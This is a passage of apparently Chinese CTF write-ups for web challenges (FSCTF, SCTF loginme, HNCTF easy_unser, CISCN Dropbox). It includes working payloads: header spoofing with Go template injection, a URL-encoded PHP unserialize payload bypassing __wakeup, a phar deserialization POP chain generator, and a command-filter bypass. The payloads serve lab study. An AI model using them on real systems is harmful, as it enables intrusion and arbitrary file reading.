[FSCTF 2023]细狗2.0
应该是和[HUBUCTF 2022 新生赛]ezsql搞混掉了
点击按钮出现了
发现输入什么回显什么
伪协议也不行
看源代码发现了这个玩意
输入了1;发现了其他回显
ls 发现了两个文件
发现被限制了
不知道是cat还是空格
绕过
直接找吧还是 得到flag
[SCTF 2021]loginme
标签提示说是CVE-2020-28483
只有本地才能通过
xff,X-Clien-IP,X-Real-IP都是本地,用bp试试
最后用 X-Real-IP:127.0.0.1 成功
硬是没扫出来,源码也没给,看网上wp找到payload
?id=0&age={{.Password}},得到flag,这道题是一个go语言的ssti
这两篇是大佬的博客
SCTF2021__loginme_loginme go-CSDN博客
https://www.cnblogs.com/seizer/p/17035739.html -Loginme
[HNCTF 2022 WEEK2]easy_unser
源代码:
<?php
include 'f14g.php';
error_reporting(0);
highlight_file(__FILE__);
class body{
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
public function __construct($want){
$About_me = "When the object is created,I will be called";
if($want !== " ") $this->want = $want;
else $this->want = $this->todonothing;
}
function __wakeup(){
$About_me = "When the object is unserialized,I will be called";
$but = "I can CHANGE you";
$this-> want = $but;
echo "C1ybaby!";
}
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
class unserializeorder{
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
function __sleep(){
$About_me = "When the object is serialized,I will be called";
echo "We Come To HNCTF,Enjoy the ser14l1zti0n <BR>";
}
function __toString(){
$About_me = "When the object is used as a string,I will be called";
return $this->CORE;
}
}
$obj = new unserializeorder();
echo $obj;
$obj = serialize($obj);
if (isset($_GET['ywant']))
{
$ywant = @unserialize(@$_GET['ywant']);
echo $ywant;
}
?>
人类最大的敌人,就是无序. Yahi param vaastavikta hai!
We Come To HNCTF,Enjoy the ser14l1zti0n
代码解释
include 'f14g.php';
:包含一个名为 'f14g.php' 的文件。
error_reporting(0);
:禁用错误报告。
highlight_file(__FILE__);
:将当前文件的源代码进行高亮显示。
class body{...
:定义一个名为body
的类。
private $want,$todonothing = "i can't get you want,But you can tell me before I wake up and change my mind";
:声明了私有属性$want
和$todonothing
,并初始化$todonothing
为一个字符串。
public function __construct($want){...
:定义了构造函数__construct()
,接受一个参数$want
。
function __wakeup(){...
:定义了__wakeup()
魔术方法,当对象被反序列化时会被调用。
function __destruct(){...
:定义了析构函数__destruct()
,当对象被销毁时会被调用。
class unserializeorder{...
:定义一个名为unserializeorder
的类。
public $CORE = "人类最大的敌人,就是无序. Yahi param vaastavikta hai!<BR>";
:声明了一个公共属性$CORE
,并初始化为一个字符串。
function __sleep(){...
:定义了__sleep()
魔术方法,当对象被序列化时会被调用。
function __toString(){...
:定义了__toString()
魔术方法,当对象被当作字符串使用时会被调用。
$obj = new unserializeorder();
:创建一个unserializeorder
类的对象$obj
。
echo $obj;
:将$obj
对象输出,触发__toString()
魔术方法。
$obj = serialize($obj);
:将$obj
对象进行序列化,将其转换为字符串。
if (isset($_GET['ywant'])) {...
:检查是否存在名为ywant
的 GET 参数。
$ywant = @unserialize(@$_GET['ywant']);
:尝试将$_GET['ywant']
参数进行反序列化,使用@
符号来抑制可能出现的错误。
echo $ywant;
:输出$ywant
,触发__toString()
魔术方法。
首先要做的就是绕过__wakeup() 魔术方法,他会把反序列化的want变量变成but变量
只需要改一下body的值就可以
highlight_file() 函数对文件进行语法高亮显示
__destruct()销毁对象时调用
仔细研究题目,只需要执行__destruct()函数内容,绕过下面判断即可
function __destruct(){
$About_me = "I'm the final function,when the object is destroyed,I will be called";
echo "So,let me see if you can get what you want\n";
if($this->todonothing === $this->want)
die("鲍勃,别傻愣着!\n");
if($this->want == "I can CHANGE you")
die("You are not you....");
if($this->want == "f14g.php" OR is_file($this->want)){
die("You want my heart?No way!\n");
}else{
echo "You got it!";
highlight_file($this->want);
}
}
}
序列化
payload:
O:4:"body":2:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
绕过__wakeup()
O:4:"body":3:{s:10:"bodywant";s:30:"php://filter/resource=f14g.php";s:17:"bodytodonothing";i:1;}
url 编码
O%3A4%3A%22body%22%3A3%3A%7Bs%3A10%3A%22%00body%00want%22%3Bs%3A30%3A%22php%3A%2F%2Ffilter%2Fresource%3Df14g.php%22%3Bs%3A17%3A%22%00body%00todonothing%22%3Bi%3A1%3B%7D
得到flag
[CISCN 2019华北Day1]Web1
源代码没什么提示,注册一个上去看看
发现用管理员可以注册,然后除了上传文件啥也没得
扫一下
上传一句话木马发现被限制了
就算你上传 1.php 文件,他也会自动改成png 格式。
抓包修改上传发现有了文件。下载的那种.....
看大佬的博客发现又有新东西,上传路径可控,就可以下载其根目录下的文件---文件任意下载
这里需要注意一个细节,按照惯例和经验,我们上传的文件是放在 网站主目录/sandbox/hash 目录下的,所以要想下载php文件必须跳转到上级目录
上传成功后,能够看到下载和删除两个按钮,一般来说,下载这两字 可能会有任意文件下载的。
抓包看 ,确实如此
index.php
class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);class User {
public $db;public function __construct() {
global $db;
$this->db = $db;
}public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}public function __destruct() {
$this->db->close();
}
}class FileList {
private $files;
private $results;
private $funcs;public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}class File {
public $filename;public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}public function name() {
return basename($this->filename);
}public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}public function detele() {
unlink($this->filename);
}public function close() {
return file_get_contents($this->filename);
}
}
?>
download.php
login.php
<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?><!doctype html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title><!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head><body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">登录</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
<p class="text-muted">© 2018-2019</p>
</form>
<div class="top" id="toast-container"></div>
</body><script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>
<?php
include "class.php";if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>
delete.php
接下来就是代码审计了
在class.php里看到了file_get_contents()函数,这个函数可以用来读取文件
首先是定义的 close 函数,我们跳转到哪里调用了这个close()
跟进代码,看到是User类 的__destrust() 调用了 close()
所以我们简单的逻辑 就是: User-> __destruct() =>File -> close() -> 读取flag。
发现在 User类里的__destruct() 调用了 close()。寻找可以触发 __destruct的unserialize(). 没有。
这里就考到了phar反序列化:phar://伪协议,我们便不再需要unserialize(),phar的特性,他在解析phar文件时时会自动对里面的内容进行反序列化。 再有 前面只允许上传图片,phar可以解析png后缀,因此考点肯定是phar反序列化。
在 File类中的 open()方法,会给$this-filename = $filename. download.php和delete.php里存在 但是download.php会受到init_set("openbase_dir",) 的限制,因此只有delete.php可以触发phar反序列化。 里面的 $file->open()里的file_exists()函数 和 $file->delete()的unlink()函数会触发phar反序列化
POP利用链思路:
上传phar文件
这里可以在upload上传文件,对于PHP,是以关键标识 __HALT_COMPILER();?> 识别phar文件的,所以文件后缀对文件识别没有影响
改成 gif/jpg/png 后缀
后端触发反序列化
upload.php中filename、delete.php中filename可控
unlink、file_get_contents、isdir、file_exists这些函数在处理 phar文件时都会触发反序列化
但是注意到 upload.php中限制了访问目录,如果想读到限制目录外的其他目录是不行的,所以由 delete.php来触发
执行魔术方法、读取指定文件
如果想要读取文件内容,肯定要利用class.php中的File.close(),但是没有直接调用这个方法的语句;
注意到 User类中在 __destruct时调用了close(),按原逻辑,$db应该是mysqli即数据库对象,但是我们可以构造$db指定为 File对象,这样就可以读取到文件了。
可读取到文件不能呈现给我们,注意到 __call魔术方法,这个魔术方法的主要功能就是,如果要调用的方法我们这个类中不存在,就会去File中找这个方法,并把执行结果存入 $this->results[$file->name()][$func],刚好我们利用这一点:让 $db为 FileList对象,当 $db销毁时,触发 __destruct,调用close(),由于 FileList没有这个方法,于是去 File类中找方法,读取到文件,存入 results
返回读取结果
__destruct正好会将 $this->results[$file->name()][$func]的内容打印出来
pop链
<?php
class User {
public $db;
public function __construct(){
$this->db=new FileList();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct(){
$this->files=array(new File());
$this->results=array();
$this->funcs=array();
}
}
class File {
public $filename="/flag.txt";
}
$user = new User();
$phar = new Phar("shell.phar"); //生成一个phar文件,文件名为shell.phar
$phar-> startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER();?>"); //设置stub
$phar->setMetadata($user); //将对象user写入到metadata中
$phar->addFromString("shell.txt","snowy"); //添加压缩文件,文件名字为shell.txt,内容为snowy
$phar->stopBuffering();
生成phar文件,在用phar伪协议利用一下就行
上传成功
因为download.php文件中 open_basedir 限制了当前程序可以访问的目录
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
因此我们只能用 delete.php 去触发phar反序列化
生成的phar文件后缀为jpg上传,
然后连接
得到flag
参考资料:
[CISCN2019 华北赛区 Day1 Web1]Dropbox-CSDN博客
[CISCN2019 华北赛区 Day1 Web1]Dropbox (phar反序列化)_ciscn2019 dropbox_Red snow的博客-CSDN博客 [CISCN2019 华北赛区 Day1 Web1]Dropbox_snowlyzz的博客-CSDN博客
[FSCTF 2023]Hello,you
不知道为啥我这道题环境不行 payload:ta\c f*